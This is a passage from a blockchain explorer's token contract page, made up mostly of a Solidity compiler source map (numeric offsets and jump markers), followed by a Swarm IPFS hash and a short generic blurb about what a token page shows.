:57;-1:-1:-1;;;;;3788:30:0;;;;;;:10;:30;;;;;;;;3784:127;;;3842:57;3859:18;3879:11;1852:8;3842:16;:57::i;3784:127::-;3938:60;3955:18;3975:11;3988:9;6486:392;-1:-1:-1;;;;;6623:34:0;;6598:4;6623:34;;;:14;:34;;;;;;:47;-1:-1:-1;6623:47:0;6615:56;;;;;;-1:-1:-1;;;;;6682:34:0;;;;;;:14;:34;;;;;:47;;6720:9;;6682:34;:47;;6720:9;;6682:47;:::i;:::-;;;;-1:-1:-1;;;;;;;6740:27:0;;;;;;:14;:27;;;;;:40;;6771:9;;6740:27;:40;;6771:9;;6740:40;:::i;:::-;;;;;;;;6825:11;-1:-1:-1;;;;;6796:52:0;6805:18;-1:-1:-1;;;;;6796:52:0;;6838:9;6796:52;;;;1342:25:1;;1330:2;1315:18;;1196:177;6796:52:0;;;;;;;;-1:-1:-1;6866:4:0;6486:392;;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;759:173::-;827:20;;-1:-1:-1;;;;;876:31:1;;866:42;;856:70;;922:1;919;912:12;856:70;759:173;;;:::o;937:254::-;1005:6;1013;1066:2;1054:9;1045:7;1041:23;1037:32;1034:52;;;1082:1;1079;1072:12;1034:52;1105:29;1124:9;1105:29;:::i;:::-;1095:39;1181:2;1166:18;;;;1153:32;;-1:-1:-1;;;937:254:1:o;1378:186::-;1437:6;1490:2;1478:9;1469:7;1465:23;1461:32;1458:52;;;1506:1;1503;1496:12;1458:52;1529:29;1548:9;1529:29;:::i;1569:328::-;1646:6;1654;1662;1715:2;1703:9;1694:7;1690:23;1686:32;1683:52;;;1731:1;1728;1721:12;1683:52;1754:29;1773:9;1754:29;:::i;:::-;1744:39;;1802:38;1836:2;1825:9;1821:18;1802:38;:::i;:::-;1792:48;;1887:2;1876:9;1872:18;1859:32;1849:42;;1569:328;;;;;:::o;1902:180::-;1961:6;2014:2;2002:9;1993:7;1989:23;1985:32;1982:52;;;2030:1;2027;2020:12;1982:52;-1:-1:-1;2053:23:1;;1902:180;-1:-1:-1;1902:180:1:o;2484:260::-;2552:6;2560;2613:2;2601:9;2592:7;2588:23;2584:32;2581:52;;;2629:1;2626;2619:12;2581:52;2652:29;2671:9;2652:29;:::i;:::-;2642:39;;2700:38;2734:2;2723:9;2719:18;2700:38;:::i;:::-;2690:48;;2484:260;;;;;:::o;2749:380::-;2828:1;2824:12;;;;2871;;;2892:61;;2946:4;2938:6;2934:17;2924:27;;2892:61;2999:2;2991:6;2988:14;2968:18;2965:38;2962:161;;3045:10;3040:3;3036:20;3033:1;3026:31;3080:4;3077:1;3070:15;3108:4;3105:1;3098:15;2962:161;;2749:380;;;:::o;3134:127::-;3195:10;3190:3;3186:20;3183:1;3176:31;3226:4;3223:1;3216:15;3250:4;3247:1;3240:15;3266:128;3333:9;;;3354:11;;;3351:37;;;3368:18;;:::i;3399:125::-;3464:9;;;3485:10;;;3482:36;;;3498:18;;:::i

Swarm Source

ipfs://5b71f0c569ddb5f2fbb826e143a2138c3d65d7784fef84b549fd6106566c0b42
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.